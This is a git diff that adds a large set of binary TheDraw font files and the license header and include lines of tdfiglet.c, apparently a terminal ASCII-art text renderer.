diff --git a/art/tdfiglet/fonts/succox.tdf b/art/tdfiglet/fonts/succox.tdf
new file mode 100644
index 0000000..0fa3685
Binary files /dev/null and b/art/tdfiglet/fonts/succox.tdf differ
diff --git a/art/tdfiglet/fonts/sucker.tdf b/art/tdfiglet/fonts/sucker.tdf
new file mode 100644
index 0000000..ff77da2
Binary files /dev/null and b/art/tdfiglet/fonts/sucker.tdf differ
diff --git a/art/tdfiglet/fonts/suicidax.tdf b/art/tdfiglet/fonts/suicidax.tdf
new file mode 100644
index 0000000..44904d4
Binary files /dev/null and b/art/tdfiglet/fonts/suicidax.tdf differ
diff --git a/art/tdfiglet/fonts/summit.tdf b/art/tdfiglet/fonts/summit.tdf
new file mode 100644
index 0000000..a228975
Binary files /dev/null and b/art/tdfiglet/fonts/summit.tdf differ
diff --git a/art/tdfiglet/fonts/sunrise.tdf b/art/tdfiglet/fonts/sunrise.tdf
new file mode 100644
index 0000000..99e0061
Binary files /dev/null and b/art/tdfiglet/fonts/sunrise.tdf differ
diff --git a/art/tdfiglet/fonts/sunshnex.tdf b/art/tdfiglet/fonts/sunshnex.tdf
new file mode 100644
index 0000000..4d6da7f
Binary files /dev/null and b/art/tdfiglet/fonts/sunshnex.tdf differ
diff --git a/art/tdfiglet/fonts/sunyshne.tdf b/art/tdfiglet/fonts/sunyshne.tdf
new file mode 100644
index 0000000..c538db4
Binary files /dev/null and b/art/tdfiglet/fonts/sunyshne.tdf differ
diff --git a/art/tdfiglet/fonts/super.tdf b/art/tdfiglet/fonts/super.tdf
new file mode 100644
index 0000000..5a24a7e
Binary files /dev/null and b/art/tdfiglet/fonts/super.tdf differ
diff --git a/art/tdfiglet/fonts/superilu.tdf b/art/tdfiglet/fonts/superilu.tdf
new file mode 100644
index 0000000..08500a9
Binary files /dev/null and b/art/tdfiglet/fonts/superilu.tdf differ
diff --git a/art/tdfiglet/fonts/suprem2x.tdf b/art/tdfiglet/fonts/suprem2x.tdf
new file mode 100644
index 0000000..f6caa3c
Binary files /dev/null and b/art/tdfiglet/fonts/suprem2x.tdf differ
diff --git a/art/tdfiglet/fonts/supremcy.tdf b/art/tdfiglet/fonts/supremcy.tdf
new file mode 100644
index 0000000..bb0a8ce
Binary files /dev/null and b/art/tdfiglet/fonts/supremcy.tdf differ
diff --git a/art/tdfiglet/fonts/supreme.tdf b/art/tdfiglet/fonts/supreme.tdf
new file mode 100644
index 0000000..232ae34
Binary files /dev/null and b/art/tdfiglet/fonts/supreme.tdf differ
diff --git a/art/tdfiglet/fonts/supreme2.tdf b/art/tdfiglet/fonts/supreme2.tdf
new file mode 100644
index 0000000..47bbf93
Binary files /dev/null and b/art/tdfiglet/fonts/supreme2.tdf differ
diff --git a/art/tdfiglet/fonts/syndicat.tdf b/art/tdfiglet/fonts/syndicat.tdf
new file mode 100644
index 0000000..dc160f1
Binary files /dev/null and b/art/tdfiglet/fonts/syndicat.tdf differ
diff --git a/art/tdfiglet/fonts/syndrome.tdf b/art/tdfiglet/fonts/syndrome.tdf
new file mode 100644
index 0000000..14c5f92
Binary files /dev/null and b/art/tdfiglet/fonts/syndrome.tdf differ
diff --git a/art/tdfiglet/fonts/synergy.tdf b/art/tdfiglet/fonts/synergy.tdf
new file mode 100644
index 0000000..8aaa411
Binary files /dev/null and b/art/tdfiglet/fonts/synergy.tdf differ
diff --git a/art/tdfiglet/fonts/synrdsrx.tdf b/art/tdfiglet/fonts/synrdsrx.tdf
new file mode 100644
index 0000000..506d99b
Binary files /dev/null and b/art/tdfiglet/fonts/synrdsrx.tdf differ
diff --git a/art/tdfiglet/fonts/synrgisx.tdf b/art/tdfiglet/fonts/synrgisx.tdf
new file mode 100644
index 0000000..de9cab6
Binary files /dev/null and b/art/tdfiglet/fonts/synrgisx.tdf differ
diff --git a/art/tdfiglet/fonts/synthicx.tdf b/art/tdfiglet/fonts/synthicx.tdf
new file mode 100644
index 0000000..bf6b9a8
Binary files /dev/null and b/art/tdfiglet/fonts/synthicx.tdf differ
diff --git a/art/tdfiglet/fonts/synthmem.tdf b/art/tdfiglet/fonts/synthmem.tdf
new file mode 100644
index 0000000..432b5b4
Binary files /dev/null and b/art/tdfiglet/fonts/synthmem.tdf differ
diff --git a/art/tdfiglet/fonts/synthtic.tdf b/art/tdfiglet/fonts/synthtic.tdf
new file mode 100644
index 0000000..fdc6955
Binary files /dev/null and b/art/tdfiglet/fonts/synthtic.tdf differ
diff --git a/art/tdfiglet/fonts/talent.tdf b/art/tdfiglet/fonts/talent.tdf
new file mode 100644
index 0000000..c8ee5e9
Binary files /dev/null and b/art/tdfiglet/fonts/talent.tdf differ
diff --git a/art/tdfiglet/fonts/talent2.tdf b/art/tdfiglet/fonts/talent2.tdf
new file mode 100644
index 0000000..744f564
Binary files /dev/null and b/art/tdfiglet/fonts/talent2.tdf differ
diff --git a/art/tdfiglet/fonts/tcax.tdf b/art/tdfiglet/fonts/tcax.tdf
new file mode 100644
index 0000000..f30eeb0
Binary files /dev/null and b/art/tdfiglet/fonts/tcax.tdf differ
diff --git a/art/tdfiglet/fonts/tddx.tdf b/art/tdfiglet/fonts/tddx.tdf
new file mode 100644
index 0000000..160e007
Binary files /dev/null and b/art/tdfiglet/fonts/tddx.tdf differ
diff --git a/art/tdfiglet/fonts/tdu.tdf b/art/tdfiglet/fonts/tdu.tdf
new file mode 100644
index 0000000..72254af
Binary files /dev/null and b/art/tdfiglet/fonts/tdu.tdf differ
diff --git a/art/tdfiglet/fonts/teapotx.tdf b/art/tdfiglet/fonts/teapotx.tdf
new file mode 100644
index 0000000..04f1be4
Binary files /dev/null and b/art/tdfiglet/fonts/teapotx.tdf differ
diff --git a/art/tdfiglet/fonts/termitex.tdf b/art/tdfiglet/fonts/termitex.tdf
new file mode 100644
index 0000000..8ab9e8b
Binary files /dev/null and b/art/tdfiglet/fonts/termitex.tdf differ
diff --git a/art/tdfiglet/fonts/tfh.tdf b/art/tdfiglet/fonts/tfh.tdf
new file mode 100644
index 0000000..ee1d7f0
Binary files /dev/null and b/art/tdfiglet/fonts/tfh.tdf differ
diff --git a/art/tdfiglet/fonts/the_edge.tdf b/art/tdfiglet/fonts/the_edge.tdf
new file mode 100644
index 0000000..4048552
Binary files /dev/null and b/art/tdfiglet/fonts/the_edge.tdf differ
diff --git a/art/tdfiglet/fonts/thenstax.tdf b/art/tdfiglet/fonts/thenstax.tdf
new file mode 100644
index 0000000..b79388d
Binary files /dev/null and b/art/tdfiglet/fonts/thenstax.tdf differ
diff --git a/art/tdfiglet/fonts/theroadx.tdf b/art/tdfiglet/fonts/theroadx.tdf
new file mode 100644
index 0000000..ce677df
Binary files /dev/null and b/art/tdfiglet/fonts/theroadx.tdf differ
diff --git a/art/tdfiglet/fonts/thesanct.tdf b/art/tdfiglet/fonts/thesanct.tdf
new file mode 100644
index 0000000..76e0393
Binary files /dev/null and b/art/tdfiglet/fonts/thesanct.tdf differ
diff --git a/art/tdfiglet/fonts/thieves.tdf b/art/tdfiglet/fonts/thieves.tdf
new file mode 100644
index 0000000..7543343
Binary files /dev/null and b/art/tdfiglet/fonts/thieves.tdf differ
diff --git a/art/tdfiglet/fonts/thievs2x.tdf b/art/tdfiglet/fonts/thievs2x.tdf
new file mode 100644
index 0000000..63f0471
Binary files /dev/null and b/art/tdfiglet/fonts/thievs2x.tdf differ
diff --git a/art/tdfiglet/fonts/thievsml.tdf b/art/tdfiglet/fonts/thievsml.tdf
new file mode 100644
index 0000000..5f70046
Binary files /dev/null and b/art/tdfiglet/fonts/thievsml.tdf differ
diff --git a/art/tdfiglet/fonts/thin2.tdf b/art/tdfiglet/fonts/thin2.tdf
new file mode 100644
index 0000000..07964fa
Binary files /dev/null and b/art/tdfiglet/fonts/thin2.tdf differ
diff --git a/art/tdfiglet/fonts/thinx.tdf b/art/tdfiglet/fonts/thinx.tdf
new file mode 100644
index 0000000..6afa42f
Binary files /dev/null and b/art/tdfiglet/fonts/thinx.tdf differ
diff --git a/art/tdfiglet/fonts/this!.tdf b/art/tdfiglet/fonts/this!.tdf
new file mode 100644
index 0000000..19d1a2d
Binary files /dev/null and b/art/tdfiglet/fonts/this!.tdf differ
diff --git a/art/tdfiglet/fonts/thivsmlx.tdf b/art/tdfiglet/fonts/thivsmlx.tdf
new file mode 100644
index 0000000..ee657de
Binary files /dev/null and b/art/tdfiglet/fonts/thivsmlx.tdf differ
diff --git a/art/tdfiglet/fonts/thsanctx.tdf b/art/tdfiglet/fonts/thsanctx.tdf
new file mode 100644
index 0000000..39fe6e7
Binary files /dev/null and b/art/tdfiglet/fonts/thsanctx.tdf differ
diff --git a/art/tdfiglet/fonts/ticcol.tdf b/art/tdfiglet/fonts/ticcol.tdf
new file mode 100644
index 0000000..68e93d6
Binary files /dev/null and b/art/tdfiglet/fonts/ticcol.tdf differ
diff --git a/art/tdfiglet/fonts/timspirx.tdf b/art/tdfiglet/fonts/timspirx.tdf
new file mode 100644
index 0000000..ab32f6a
Binary files /dev/null and b/art/tdfiglet/fonts/timspirx.tdf differ
diff --git a/art/tdfiglet/fonts/tincans.tdf b/art/tdfiglet/fonts/tincans.tdf
new file mode 100644
index 0000000..970c67c
Binary files /dev/null and b/art/tdfiglet/fonts/tincans.tdf differ
diff --git a/art/tdfiglet/fonts/tiny.tdf b/art/tdfiglet/fonts/tiny.tdf
new file mode 100644
index 0000000..3b82311
Binary files /dev/null and b/art/tdfiglet/fonts/tiny.tdf differ
diff --git a/art/tdfiglet/fonts/toasterx.tdf b/art/tdfiglet/fonts/toasterx.tdf
new file mode 100644
index 0000000..8f5ef74
Binary files /dev/null and b/art/tdfiglet/fonts/toasterx.tdf differ
diff --git a/art/tdfiglet/fonts/tokyo.tdf b/art/tdfiglet/fonts/tokyo.tdf
new file mode 100644
index 0000000..e9f44e2
Binary files /dev/null and b/art/tdfiglet/fonts/tokyo.tdf differ
diff --git a/art/tdfiglet/fonts/tower.tdf b/art/tdfiglet/fonts/tower.tdf
new file mode 100644
index 0000000..80bbfaf
Binary files /dev/null and b/art/tdfiglet/fonts/tower.tdf differ
diff --git a/art/tdfiglet/fonts/tower2.tdf b/art/tdfiglet/fonts/tower2.tdf
new file mode 100644
index 0000000..fe1a090
Binary files /dev/null and b/art/tdfiglet/fonts/tower2.tdf differ
diff --git a/art/tdfiglet/fonts/townsmlx.tdf b/art/tdfiglet/fonts/townsmlx.tdf
new file mode 100644
index 0000000..6e26693
Binary files /dev/null and b/art/tdfiglet/fonts/townsmlx.tdf differ
diff --git a/art/tdfiglet/fonts/townx.tdf b/art/tdfiglet/fonts/townx.tdf
new file mode 100644
index 0000000..e959e5a
Binary files /dev/null and b/art/tdfiglet/fonts/townx.tdf differ
diff --git a/art/tdfiglet/fonts/toxic.tdf b/art/tdfiglet/fonts/toxic.tdf
new file mode 100644
index 0000000..dea3364
Binary files /dev/null and b/art/tdfiglet/fonts/toxic.tdf differ
diff --git a/art/tdfiglet/fonts/traces.tdf b/art/tdfiglet/fonts/traces.tdf
new file mode 100644
index 0000000..fff6ceb
Binary files /dev/null and b/art/tdfiglet/fonts/traces.tdf differ
diff --git a/art/tdfiglet/fonts/tranqilx.tdf b/art/tdfiglet/fonts/tranqilx.tdf
new file mode 100644
index 0000000..754035f
Binary files /dev/null and b/art/tdfiglet/fonts/tranqilx.tdf differ
diff --git a/art/tdfiglet/fonts/tribesx.tdf b/art/tdfiglet/fonts/tribesx.tdf
new file mode 100644
index 0000000..9cffe7d
Binary files /dev/null and b/art/tdfiglet/fonts/tribesx.tdf differ
diff --git a/art/tdfiglet/fonts/tribwrit.tdf b/art/tdfiglet/fonts/tribwrit.tdf
new file mode 100644
index 0000000..cbb8a52
Binary files /dev/null and b/art/tdfiglet/fonts/tribwrit.tdf differ
diff --git a/art/tdfiglet/fonts/tronicsx.tdf b/art/tdfiglet/fonts/tronicsx.tdf
new file mode 100644
index 0000000..730c79a
Binary files /dev/null and b/art/tdfiglet/fonts/tronicsx.tdf differ
diff --git a/art/tdfiglet/fonts/troutx.tdf b/art/tdfiglet/fonts/troutx.tdf
new file mode 100644
index 0000000..a18d7b0
Binary files /dev/null and b/art/tdfiglet/fonts/troutx.tdf differ
diff --git a/art/tdfiglet/fonts/tucx.tdf b/art/tdfiglet/fonts/tucx.tdf
new file mode 100644
index 0000000..f6798a4
Binary files /dev/null and b/art/tdfiglet/fonts/tucx.tdf differ
diff --git a/art/tdfiglet/fonts/tumoil.tdf b/art/tdfiglet/fonts/tumoil.tdf
new file mode 100644
index 0000000..b134941
Binary files /dev/null and b/art/tdfiglet/fonts/tumoil.tdf differ
diff --git a/art/tdfiglet/fonts/tusse.tdf b/art/tdfiglet/fonts/tusse.tdf
new file mode 100644
index 0000000..bc60066
Binary files /dev/null and b/art/tdfiglet/fonts/tusse.tdf differ
diff --git a/art/tdfiglet/fonts/twistedx.tdf b/art/tdfiglet/fonts/twistedx.tdf
new file mode 100644
index 0000000..87344ce
Binary files /dev/null and b/art/tdfiglet/fonts/twistedx.tdf differ
diff --git a/art/tdfiglet/fonts/twoyears.tdf b/art/tdfiglet/fonts/twoyears.tdf
new file mode 100644
index 0000000..e4490ec
Binary files /dev/null and b/art/tdfiglet/fonts/twoyears.tdf differ
diff --git a/art/tdfiglet/fonts/udm1x.tdf b/art/tdfiglet/fonts/udm1x.tdf
new file mode 100644
index 0000000..70123d5
Binary files /dev/null and b/art/tdfiglet/fonts/udm1x.tdf differ
diff --git a/art/tdfiglet/fonts/udmfire.tdf b/art/tdfiglet/fonts/udmfire.tdf
new file mode 100644
index 0000000..55af497
Binary files /dev/null and b/art/tdfiglet/fonts/udmfire.tdf differ
diff --git a/art/tdfiglet/fonts/ugrndftr.tdf b/art/tdfiglet/fonts/ugrndftr.tdf
new file mode 100644
index 0000000..d835c00
Binary files /dev/null and b/art/tdfiglet/fonts/ugrndftr.tdf differ
diff --git a/art/tdfiglet/fonts/unchainx.tdf b/art/tdfiglet/fonts/unchainx.tdf
new file mode 100644
index 0000000..90c91b2
Binary files /dev/null and b/art/tdfiglet/fonts/unchainx.tdf differ
diff --git a/art/tdfiglet/fonts/under.tdf b/art/tdfiglet/fonts/under.tdf
new file mode 100644
index 0000000..d1e91d2
Binary files /dev/null and b/art/tdfiglet/fonts/under.tdf differ
diff --git a/art/tdfiglet/fonts/undergd2.tdf b/art/tdfiglet/fonts/undergd2.tdf
new file mode 100644
index 0000000..2d66504
Binary files /dev/null and b/art/tdfiglet/fonts/undergd2.tdf differ
diff --git a/art/tdfiglet/fonts/underwld.tdf b/art/tdfiglet/fonts/underwld.tdf
new file mode 100644
index 0000000..ed6c3d8
Binary files /dev/null and b/art/tdfiglet/fonts/underwld.tdf differ
diff --git a/art/tdfiglet/fonts/undrgdsx.tdf b/art/tdfiglet/fonts/undrgdsx.tdf
new file mode 100644
index 0000000..5d5eb41
Binary files /dev/null and b/art/tdfiglet/fonts/undrgdsx.tdf differ
diff --git a/art/tdfiglet/fonts/undrgrn2.tdf b/art/tdfiglet/fonts/undrgrn2.tdf
new file mode 100644
index 0000000..aea431f
Binary files /dev/null and b/art/tdfiglet/fonts/undrgrn2.tdf differ
diff --git a/art/tdfiglet/fonts/undrgrnd.tdf b/art/tdfiglet/fonts/undrgrnd.tdf
new file mode 100644
index 0000000..0b76c93
Binary files /dev/null and b/art/tdfiglet/fonts/undrgrnd.tdf differ
diff --git a/art/tdfiglet/fonts/undrgrwn.tdf b/art/tdfiglet/fonts/undrgrwn.tdf
new file mode 100644
index 0000000..1d44a75
Binary files /dev/null and b/art/tdfiglet/fonts/undrgrwn.tdf differ
diff --git a/art/tdfiglet/fonts/undrwldx.tdf b/art/tdfiglet/fonts/undrwldx.tdf
new file mode 100644
index 0000000..a5da96e
Binary files /dev/null and b/art/tdfiglet/fonts/undrwldx.tdf differ
diff --git a/art/tdfiglet/fonts/ungrwing.tdf b/art/tdfiglet/fonts/ungrwing.tdf
new file mode 100644
index 0000000..5efc834
Binary files /dev/null and b/art/tdfiglet/fonts/ungrwing.tdf differ
diff --git a/art/tdfiglet/fonts/ungrwnxx.tdf b/art/tdfiglet/fonts/ungrwnxx.tdf
new file mode 100644
index 0000000..967c5d3
Binary files /dev/null and b/art/tdfiglet/fonts/ungrwnxx.tdf differ
diff --git a/art/tdfiglet/fonts/unholyx.tdf b/art/tdfiglet/fonts/unholyx.tdf
new file mode 100644
index 0000000..fb751b2
Binary files /dev/null and b/art/tdfiglet/fonts/unholyx.tdf differ
diff --git a/art/tdfiglet/fonts/union.tdf b/art/tdfiglet/fonts/union.tdf
new file mode 100644
index 0000000..f3b282c
Binary files /dev/null and b/art/tdfiglet/fonts/union.tdf differ
diff --git a/art/tdfiglet/fonts/union2.tdf b/art/tdfiglet/fonts/union2.tdf
new file mode 100644
index 0000000..117371a
Binary files /dev/null and b/art/tdfiglet/fonts/union2.tdf differ
diff --git a/art/tdfiglet/fonts/unknownx.tdf b/art/tdfiglet/fonts/unknownx.tdf
new file mode 100644
index 0000000..e9bda74
Binary files /dev/null and b/art/tdfiglet/fonts/unknownx.tdf differ
diff --git a/art/tdfiglet/fonts/unox.tdf b/art/tdfiglet/fonts/unox.tdf
new file mode 100644
index 0000000..1daa402
Binary files /dev/null and b/art/tdfiglet/fonts/unox.tdf differ
diff --git a/art/tdfiglet/fonts/unreal.tdf b/art/tdfiglet/fonts/unreal.tdf
new file mode 100644
index 0000000..38d804c
Binary files /dev/null and b/art/tdfiglet/fonts/unreal.tdf differ
diff --git a/art/tdfiglet/fonts/unsane.tdf b/art/tdfiglet/fonts/unsane.tdf
new file mode 100644
index 0000000..f948e86
Binary files /dev/null and b/art/tdfiglet/fonts/unsane.tdf differ
diff --git a/art/tdfiglet/fonts/unsanex.tdf b/art/tdfiglet/fonts/unsanex.tdf
new file mode 100644
index 0000000..f57c081
Binary files /dev/null and b/art/tdfiglet/fonts/unsanex.tdf differ
diff --git a/art/tdfiglet/fonts/unsnfate.tdf b/art/tdfiglet/fonts/unsnfate.tdf
new file mode 100644
index 0000000..5364db1
Binary files /dev/null and b/art/tdfiglet/fonts/unsnfate.tdf differ
diff --git a/art/tdfiglet/fonts/untx.tdf b/art/tdfiglet/fonts/untx.tdf
new file mode 100644
index 0000000..ebd0822
Binary files /dev/null and b/art/tdfiglet/fonts/untx.tdf differ
diff --git a/art/tdfiglet/fonts/upcorx.tdf b/art/tdfiglet/fonts/upcorx.tdf
new file mode 100644
index 0000000..13fec71
Binary files /dev/null and b/art/tdfiglet/fonts/upcorx.tdf differ
diff --git a/art/tdfiglet/fonts/uprise.tdf b/art/tdfiglet/fonts/uprise.tdf
new file mode 100644
index 0000000..89b5044
Binary files /dev/null and b/art/tdfiglet/fonts/uprise.tdf differ
diff --git a/art/tdfiglet/fonts/uprise2x.tdf b/art/tdfiglet/fonts/uprise2x.tdf
new file mode 100644
index 0000000..05f1512
Binary files /dev/null and b/art/tdfiglet/fonts/uprise2x.tdf differ
diff --git a/art/tdfiglet/fonts/usaflag.tdf b/art/tdfiglet/fonts/usaflag.tdf
new file mode 100644
index 0000000..a419488
Binary files /dev/null and b/art/tdfiglet/fonts/usaflag.tdf differ
diff --git a/art/tdfiglet/fonts/user.tdf b/art/tdfiglet/fonts/user.tdf
new file mode 100644
index 0000000..60ce096
Binary files /dev/null and b/art/tdfiglet/fonts/user.tdf differ
diff --git a/art/tdfiglet/fonts/user2.tdf b/art/tdfiglet/fonts/user2.tdf
new file mode 100644
index 0000000..6bf343d
Binary files /dev/null and b/art/tdfiglet/fonts/user2.tdf differ
diff --git a/art/tdfiglet/fonts/userstsx.tdf b/art/tdfiglet/fonts/userstsx.tdf
new file mode 100644
index 0000000..495aa9b
Binary files /dev/null and b/art/tdfiglet/fonts/userstsx.tdf differ
diff --git a/art/tdfiglet/fonts/usex.tdf b/art/tdfiglet/fonts/usex.tdf
new file mode 100644
index 0000000..af94fc1
Binary files /dev/null and b/art/tdfiglet/fonts/usex.tdf differ
diff --git a/art/tdfiglet/fonts/usflgcol.tdf b/art/tdfiglet/fonts/usflgcol.tdf
new file mode 100644
index 0000000..88d441e
Binary files /dev/null and b/art/tdfiglet/fonts/usflgcol.tdf differ
diff --git a/art/tdfiglet/fonts/utopanx.tdf b/art/tdfiglet/fonts/utopanx.tdf
new file mode 100644
index 0000000..318b916
Binary files /dev/null and b/art/tdfiglet/fonts/utopanx.tdf differ
diff --git a/art/tdfiglet/fonts/valleyx.tdf b/art/tdfiglet/fonts/valleyx.tdf
new file mode 100644
index 0000000..f96bd69
Binary files /dev/null and b/art/tdfiglet/fonts/valleyx.tdf differ
diff --git a/art/tdfiglet/fonts/vampyrex.tdf b/art/tdfiglet/fonts/vampyrex.tdf
new file mode 100644
index 0000000..8a7898d
Binary files /dev/null and b/art/tdfiglet/fonts/vampyrex.tdf differ
diff --git a/art/tdfiglet/fonts/vasniakx.tdf b/art/tdfiglet/fonts/vasniakx.tdf
new file mode 100644
index 0000000..2a9ed22
Binary files /dev/null and b/art/tdfiglet/fonts/vasniakx.tdf differ
diff --git a/art/tdfiglet/fonts/vdo_1.tdf b/art/tdfiglet/fonts/vdo_1.tdf
new file mode 100644
index 0000000..ed7e248
Binary files /dev/null and b/art/tdfiglet/fonts/vdo_1.tdf differ
diff --git a/art/tdfiglet/fonts/vengancx.tdf b/art/tdfiglet/fonts/vengancx.tdf
new file mode 100644
index 0000000..68d89ef
Binary files /dev/null and b/art/tdfiglet/fonts/vengancx.tdf differ
diff --git a/art/tdfiglet/fonts/vibrntsx.tdf b/art/tdfiglet/fonts/vibrntsx.tdf
new file mode 100644
index 0000000..95ecb6d
Binary files /dev/null and b/art/tdfiglet/fonts/vibrntsx.tdf differ
diff --git a/art/tdfiglet/fonts/vintage.tdf b/art/tdfiglet/fonts/vintage.tdf
new file mode 100644
index 0000000..de46176
Binary files /dev/null and b/art/tdfiglet/fonts/vintage.tdf differ
diff --git a/art/tdfiglet/fonts/violent.tdf b/art/tdfiglet/fonts/violent.tdf
new file mode 100644
index 0000000..ed4223d
Binary files /dev/null and b/art/tdfiglet/fonts/violent.tdf differ
diff --git a/art/tdfiglet/fonts/virtacxs.tdf b/art/tdfiglet/fonts/virtacxs.tdf
new file mode 100644
index 0000000..9ad5ca0
Binary files /dev/null and b/art/tdfiglet/fonts/virtacxs.tdf differ
diff --git a/art/tdfiglet/fonts/vision2.tdf b/art/tdfiglet/fonts/vision2.tdf
new file mode 100644
index 0000000..650b4d7
Binary files /dev/null and b/art/tdfiglet/fonts/vision2.tdf differ
diff --git a/art/tdfiglet/fonts/vision3.tdf b/art/tdfiglet/fonts/vision3.tdf
new file mode 100644
index 0000000..57805e4
Binary files /dev/null and b/art/tdfiglet/fonts/vision3.tdf differ
diff --git a/art/tdfiglet/fonts/visionsx.tdf b/art/tdfiglet/fonts/visionsx.tdf
new file mode 100644
index 0000000..d0ca089
Binary files /dev/null and b/art/tdfiglet/fonts/visionsx.tdf differ
diff --git a/art/tdfiglet/fonts/visionx.tdf b/art/tdfiglet/fonts/visionx.tdf
new file mode 100644
index 0000000..cd5e045
Binary files /dev/null and b/art/tdfiglet/fonts/visionx.tdf differ
diff --git a/art/tdfiglet/fonts/visionxx.tdf b/art/tdfiglet/fonts/visionxx.tdf
new file mode 100644
index 0000000..3503019
Binary files /dev/null and b/art/tdfiglet/fonts/visionxx.tdf differ
diff --git a/art/tdfiglet/fonts/voices.tdf b/art/tdfiglet/fonts/voices.tdf
new file mode 100644
index 0000000..9bf8b36
Binary files /dev/null and b/art/tdfiglet/fonts/voices.tdf differ
diff --git a/art/tdfiglet/fonts/voidx.tdf b/art/tdfiglet/fonts/voidx.tdf
new file mode 100644
index 0000000..4c6e636
Binary files /dev/null and b/art/tdfiglet/fonts/voidx.tdf differ
diff --git a/art/tdfiglet/fonts/wallx.tdf b/art/tdfiglet/fonts/wallx.tdf
new file mode 100644
index 0000000..6135064
Binary files /dev/null and b/art/tdfiglet/fonts/wallx.tdf differ
diff --git a/art/tdfiglet/fonts/warzonex.tdf b/art/tdfiglet/fonts/warzonex.tdf
new file mode 100644
index 0000000..a9dfe0c
Binary files /dev/null and b/art/tdfiglet/fonts/warzonex.tdf differ
diff --git a/art/tdfiglet/fonts/watchdgx.tdf b/art/tdfiglet/fonts/watchdgx.tdf
new file mode 100644
index 0000000..f0d759e
Binary files /dev/null and b/art/tdfiglet/fonts/watchdgx.tdf differ
diff --git a/art/tdfiglet/fonts/water.tdf b/art/tdfiglet/fonts/water.tdf
new file mode 100644
index 0000000..2560b75
Binary files /dev/null and b/art/tdfiglet/fonts/water.tdf differ
diff --git a/art/tdfiglet/fonts/weird.tdf b/art/tdfiglet/fonts/weird.tdf
new file mode 100644
index 0000000..292d7bc
Binary files /dev/null and b/art/tdfiglet/fonts/weird.tdf differ
diff --git a/art/tdfiglet/fonts/wellfare.tdf b/art/tdfiglet/fonts/wellfare.tdf
new file mode 100644
index 0000000..eef98ea
Binary files /dev/null and b/art/tdfiglet/fonts/wellfare.tdf differ
diff --git a/art/tdfiglet/fonts/whirwinx.tdf b/art/tdfiglet/fonts/whirwinx.tdf
new file mode 100644
index 0000000..5cf84f6
Binary files /dev/null and b/art/tdfiglet/fonts/whirwinx.tdf differ
diff --git a/art/tdfiglet/fonts/white-bl.tdf b/art/tdfiglet/fonts/white-bl.tdf
new file mode 100644
index 0000000..a4ff86c
Binary files /dev/null and b/art/tdfiglet/fonts/white-bl.tdf differ
diff --git a/art/tdfiglet/fonts/whox.tdf b/art/tdfiglet/fonts/whox.tdf
new file mode 100644
index 0000000..8730fda
Binary files /dev/null and b/art/tdfiglet/fonts/whox.tdf differ
diff --git a/art/tdfiglet/fonts/wicked.tdf b/art/tdfiglet/fonts/wicked.tdf
new file mode 100644
index 0000000..7d9d475
Binary files /dev/null and b/art/tdfiglet/fonts/wicked.tdf differ
diff --git a/art/tdfiglet/fonts/wild.tdf b/art/tdfiglet/fonts/wild.tdf
new file mode 100644
index 0000000..5707430
Binary files /dev/null and b/art/tdfiglet/fonts/wild.tdf differ
diff --git a/art/tdfiglet/fonts/wildchld.tdf b/art/tdfiglet/fonts/wildchld.tdf
new file mode 100644
index 0000000..b43062e
Binary files /dev/null and b/art/tdfiglet/fonts/wildchld.tdf differ
diff --git a/art/tdfiglet/fonts/wildsidx.tdf b/art/tdfiglet/fonts/wildsidx.tdf
new file mode 100644
index 0000000..c581fdc
Binary files /dev/null and b/art/tdfiglet/fonts/wildsidx.tdf differ
diff --git a/art/tdfiglet/fonts/wpaint.tdf b/art/tdfiglet/fonts/wpaint.tdf
new file mode 100644
index 0000000..756fc4e
Binary files /dev/null and b/art/tdfiglet/fonts/wpaint.tdf differ
diff --git a/art/tdfiglet/fonts/x-tremex.tdf b/art/tdfiglet/fonts/x-tremex.tdf
new file mode 100644
index 0000000..dadcdf8
Binary files /dev/null and b/art/tdfiglet/fonts/x-tremex.tdf differ
diff --git a/art/tdfiglet/fonts/xentrx1x.tdf b/art/tdfiglet/fonts/xentrx1x.tdf
new file mode 100644
index 0000000..4bd8209
Binary files /dev/null and b/art/tdfiglet/fonts/xentrx1x.tdf differ
diff --git a/art/tdfiglet/fonts/xfontx.tdf b/art/tdfiglet/fonts/xfontx.tdf
new file mode 100644
index 0000000..3e49f92
Binary files /dev/null and b/art/tdfiglet/fonts/xfontx.tdf differ
diff --git a/art/tdfiglet/fonts/xmas.tdf b/art/tdfiglet/fonts/xmas.tdf
new file mode 100644
index 0000000..cd40de0
Binary files /dev/null and b/art/tdfiglet/fonts/xmas.tdf differ
diff --git a/art/tdfiglet/fonts/yazoox.tdf b/art/tdfiglet/fonts/yazoox.tdf
new file mode 100644
index 0000000..4ff5513
Binary files /dev/null and b/art/tdfiglet/fonts/yazoox.tdf differ
diff --git a/art/tdfiglet/fonts/zane.tdf b/art/tdfiglet/fonts/zane.tdf
new file mode 100644
index 0000000..a80ef4e
Binary files /dev/null and b/art/tdfiglet/fonts/zane.tdf differ
diff --git a/art/tdfiglet/fonts/zanex.tdf b/art/tdfiglet/fonts/zanex.tdf
new file mode 100644
index 0000000..431d661
Binary files /dev/null and b/art/tdfiglet/fonts/zanex.tdf differ
diff --git a/art/tdfiglet/fonts/zetrax.tdf b/art/tdfiglet/fonts/zetrax.tdf
new file mode 100644
index 0000000..59cd994
Binary files /dev/null and b/art/tdfiglet/fonts/zetrax.tdf differ
diff --git a/art/tdfiglet/fonts/zookx.tdf b/art/tdfiglet/fonts/zookx.tdf
new file mode 100644
index 0000000..eacff25
Binary files /dev/null and b/art/tdfiglet/fonts/zookx.tdf differ
diff --git a/art/tdfiglet/screenshot.png b/art/tdfiglet/screenshot.png
new file mode 100644
index 0000000..3105b8c
Binary files /dev/null and b/art/tdfiglet/screenshot.png differ
diff --git a/art/tdfiglet/tdfiglet.c b/art/tdfiglet/tdfiglet.c
new file mode 100644
index 0000000..ae7352d
--- /dev/null
+++ b/art/tdfiglet/tdfiglet.c
@@ -0,0 +1,640 @@
+/* Copyright (c) 2018 Trollforge. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Trollforge's name may not be used to endorse or promote products
+ *    derived from this software without specific prior written permission.
+ */
+
+#include <ctype.h>
+#include <dirent.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <getopt.h>
+#include <iconv.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sysexits.h>
+#include <unistd.h>
+
+#include <sys/mman.h>
